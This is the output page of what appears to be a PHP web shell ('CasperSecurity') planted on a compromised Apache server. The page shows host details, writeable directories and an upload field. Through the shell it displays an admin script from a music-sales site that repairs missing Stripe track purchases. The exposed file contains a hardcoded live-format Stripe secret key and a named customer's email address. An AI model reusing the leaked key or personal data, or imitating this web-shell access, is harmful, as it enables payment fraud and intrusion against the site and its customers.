T.ME/BIBIL_0DAY
CasperSecurity


Server : Apache/2
System : Linux server-15-235-50-60 5.15.0-164-generic #174-Ubuntu SMP Fri Nov 14 20:25:16 UTC 2025 x86_64
User : gositeme ( 1004)
PHP Version : 8.2.29
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Directory :  /home/gositeme/domains/soundstudiopro.com/private_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/gositeme/domains/soundstudiopro.com/private_html/fix_stephane_3_tracks.php
<?php
/**
 * Fix Stephane's Missing 3 Track Purchases
 * Finds recent successful Stripe payments and fixes missing database records
 */

session_start();
require_once 'config/database.php';

// Check if admin
if (!isset($_SESSION['is_admin']) || !$_SESSION['is_admin']) {
    die("Admin access required");
}

$pdo = getDBConnection();
$stripe_secret = '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';

echo "<!DOCTYPE html><html><head><meta charset='UTF-8'><title>Fix Stephane's 3 Tracks</title>";
echo "<style>
    body { font-family: Arial; padding: 20px; background: #1a1a1a; color: white; }
    table { border-collapse: collapse; width: 100%; margin: 20px 0; background: #2a2a2a; }
    th, td { border: 1px solid #444; padding: 10px; text-align: left; }
    th { background: #667eea; color: white; }
    .success { color: #48bb78; }
    .error { color: #e53e3e; }
    .warning { color: #ffc107; }
    .info { color: #667eea; }
    .section { margin: 30px 0; padding: 20px; background: #2a2a2a; border-radius: 8px; }
    .btn { display: inline-block; padding: 10px 20px; background: #667eea; color: white; text-decoration: none; border-radius: 5px; margin: 10px 5px; }
    .btn:hover { background: #5568d3; }
    .btn-danger { background: #e53e3e; }
    .btn-danger:hover { background: #c53030; }
</style></head><body>";

echo "<h2>🔧 Fix Stephane's Missing 3 Track Purchases</h2>";

// Find Stephane - try exact email first, then fallback
$stmt = $pdo->prepare("SELECT id, name, email, stripe_customer_id FROM users WHERE email = ? OR email LIKE ? OR name LIKE ?");
$stmt->execute(['stevenberg450@gmail.com', '%stevenberg450%', '%Stephane%']);
$users = $stmt->fetchAll(PDO::FETCH_ASSOC);

if (empty($users)) {
    echo "<p class='error'>✗ Stephane not found</p>";
    echo "</body></html>";
    exit;
}

// Prefer exact email match
$stephane = null;
foreach ($users as $user) {
    if (stripos($user['email'], 'stevenberg450') !== false) {
        $stephane = $user;
        break;
    }
}
if (!$stephane) {
    $stephane = $users[0]; // Use first match
}

if (count($users) > 1) {
    echo "<p class='warning'>âš  Multiple users found, using: {$stephane['name']} ({$stephane['email']})</p>";
}

$user_id = $stephane['id'];
$customer_id = $stephane['stripe_customer_id'];

echo "<div class='section'>";
echo "<h3>User Info</h3>";
echo "<p><strong>Name:</strong> " . htmlspecialchars($stephane['name']) . "</p>";
echo "<p><strong>Email:</strong> " . htmlspecialchars($stephane['email']) . "</p>";
echo "<p><strong>User ID:</strong> {$user_id}</p>";
echo "<p><strong>Stripe Customer ID:</strong> " . ($customer_id ? htmlspecialchars($customer_id) : 'None') . "</p>";
echo "</div>";

// Get recent successful payment intents from Stripe (last 7 days)
echo "<div class='section'>";
echo "<h3>📊 Checking Recent Stripe Payments</h3>";

$ch = curl_init();
if ($customer_id) {
    curl_setopt($ch, CURLOPT_URL, "https://api.stripe.com/v1/payment_intents?customer=" . urlencode($customer_id) . "&limit=100");
} else {
    echo "<p class='warning'>âš  No Stripe customer ID found. Cannot search Stripe payments automatically.</p>";
    echo "<p>Please use the manual fix script with the payment intent ID from Stripe dashboard.</p>";
    echo "<p><a href='fix_stephane_missing_purchases.php' class='btn'>Use Manual Fix Script</a></p>";
    echo "</div></body></html>";
    exit;
}
curl_setopt($ch, CURLOPT_HTTPHEADER, ['Authorization: Bearer ' . $stripe_secret]);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$curl_error = curl_error($ch);
curl_close($ch);

if ($curl_error) {
    echo "<p class='error'>✗ cURL Error: " . htmlspecialchars($curl_error) . "</p>";
    echo "</div></body></html>";
    exit;
}

if ($http_code !== 200) {
    echo "<p class='error'>✗ Failed to fetch payment intents. HTTP Code: {$http_code}</p>";
    $error_data = json_decode($response, true);
    if ($error_data && isset($error_data['error']['message'])) {
        echo "<p class='error'>Error: " . htmlspecialchars($error_data['error']['message']) . "</p>";
    }
    echo "</div></body></html>";
    exit;
}

$data = json_decode($response, true);
$payment_intents = $data['data'] ?? [];

// Filter for succeeded payments with track purchases in last 7 days
$recent_succeeded = [];
$seven_days_ago = time() - (7 * 24 * 60 * 60);

foreach ($payment_intents as $pi) {
    if ($pi['status'] === 'succeeded') {
        $created = $pi['created'];
        if ($created >= $seven_days_ago) {
            $metadata = $pi['metadata'] ?? [];
            $pi_user_id = $metadata['user_id'] ?? null;
            
            // Only process payments for this specific user
            if ($pi_user_id == $user_id) {
                // Parse cart items to see if it has tracks
                $cart_items_json = $metadata['cart_items'] ?? '[]';
                if (is_string($cart_items_json)) {
                    $cart_items = json_decode($cart_items_json, true);
                } else {
                    $cart_items = $cart_items_json;
                }
                
                if (is_array($cart_items)) {
                    $has_tracks = false;
                    foreach ($cart_items as $item) {
                        if (isset($item['type']) && $item['type'] === 'track') {
                            $has_tracks = true;
                            break;
                        }
                    }
                    
                    if ($has_tracks) {
                        $recent_succeeded[] = $pi;
                    }
                }
            }
        }
    }
}

if (empty($recent_succeeded)) {
    echo "<p class='warning'>âš  No recent successful track purchases found in Stripe (last 7 days)</p>";
    echo "<p>Please check Stripe dashboard manually and provide the payment intent ID.</p>";
    echo "<p><a href='fix_stephane_missing_purchases.php' class='btn'>Use Manual Fix Script</a></p>";
    echo "</div></body></html>";
    exit;
}

echo "<p class='success'>✓ Found " . count($recent_succeeded) . " recent successful payment(s) with tracks</p>";

// Check each payment intent for missing database records
$missing_payments = [];

foreach ($recent_succeeded as $pi) {
    $payment_intent_id = $pi['id'];
    $metadata = $pi['metadata'] ?? [];
    $amount = $pi['amount'] / 100;
    $created_date = date('Y-m-d H:i:s', $pi['created']);
    
    // Verify this payment is for the correct user
    $pi_user_id = $metadata['user_id'] ?? null;
    if ($pi_user_id != $user_id) {
        continue; // Skip payments for other users
    }
    
    // Parse cart items
    $cart_items_json = $metadata['cart_items'] ?? '[]';
    if (is_string($cart_items_json)) {
        $cart_items = json_decode($cart_items_json, true);
    } else {
        $cart_items = $cart_items_json;
    }
    
    if (!is_array($cart_items)) {
        continue;
    }
    
    // Extract track items
    $track_items = [];
    foreach ($cart_items as $item) {
        if (isset($item['type']) && $item['type'] === 'track' && isset($item['track_id'])) {
            $track_items[] = [
                'track_id' => (int)$item['track_id'],
                'title' => $item['title'] ?? 'Unknown'
            ];
        }
    }
    
    if (empty($track_items)) {
        continue;
    }
    
    // Check which tracks are missing from database
    $missing_tracks = [];
    foreach ($track_items as $item) {
        $track_id = $item['track_id'];
        
        try {
            // Check if purchase exists
            $stmt = $pdo->prepare("SELECT id FROM track_purchases WHERE user_id = ? AND track_id = ? AND stripe_payment_intent_id = ?");
            $stmt->execute([$user_id, $track_id, $payment_intent_id]);
            if (!$stmt->fetch()) {
                // Check if track exists and is complete
                $stmt = $pdo->prepare("SELECT id, title, price, status FROM music_tracks WHERE id = ?");
                $stmt->execute([$track_id]);
                $track = $stmt->fetch(PDO::FETCH_ASSOC);
                
                if ($track && $track['status'] === 'complete') {
                    $missing_tracks[] = [
                        'track_id' => $track_id,
                        'title' => $track['title'],
                        'price' => floatval($track['price'])
                    ];
                } elseif (!$track) {
                    // Track doesn't exist - log it but don't add to missing
                    error_log("fix_stephane_3_tracks: Track {$track_id} not found in database for payment {$payment_intent_id}");
                } elseif ($track['status'] !== 'complete') {
                    // Track exists but not complete
                    error_log("fix_stephane_3_tracks: Track {$track_id} status is '{$track['status']}' (not complete) for payment {$payment_intent_id}");
                }
            }
        } catch (Exception $e) {
            error_log("fix_stephane_3_tracks: Database error checking track {$track_id}: " . $e->getMessage());
            continue;
        }
    }
    
    if (!empty($missing_tracks)) {
        $missing_payments[] = [
            'payment_intent_id' => $payment_intent_id,
            'amount' => $amount,
            'created' => $created_date,
            'missing_tracks' => $missing_tracks
        ];
    }
}

if (empty($missing_payments)) {
    echo "<p class='success'>✓ All purchases are recorded in the database!</p>";
    echo "</div></body></html>";
    exit;
}

// Display missing payments
echo "<h3>Missing Purchases Found:</h3>";
foreach ($missing_payments as $payment) {
    echo "<div class='section'>";
    echo "<h4>Payment Intent: {$payment['payment_intent_id']}</h4>";
    echo "<p><strong>Amount:</strong> \${$payment['amount']}</p>";
    echo "<p><strong>Date:</strong> {$payment['created']}</p>";
    echo "<p><strong>Missing Tracks:</strong> " . count($payment['missing_tracks']) . "</p>";
    
    echo "<table>";
    echo "<tr><th>Track ID</th><th>Title</th><th>Price</th></tr>";
    foreach ($payment['missing_tracks'] as $track) {
        $price = number_format($track['price'], 2);
        $title = htmlspecialchars($track['title']);
        echo "<tr><td>{$track['track_id']}</td><td>{$title}</td><td>\${$price}</td></tr>";
    }
    echo "</table>";
    
    echo "<p><a href='fix_stephane_missing_purchases.php?payment_intent_id=" . urlencode($payment['payment_intent_id']) . "&action=analyze' class='btn btn-danger'>Fix This Payment</a></p>";
    echo "</div>";
}

echo "<p><a href='account_settings.php?tab=purchases' class='btn'>View Purchases</a></p>";
echo "</body></html>";
?>


CasperSecurity Mini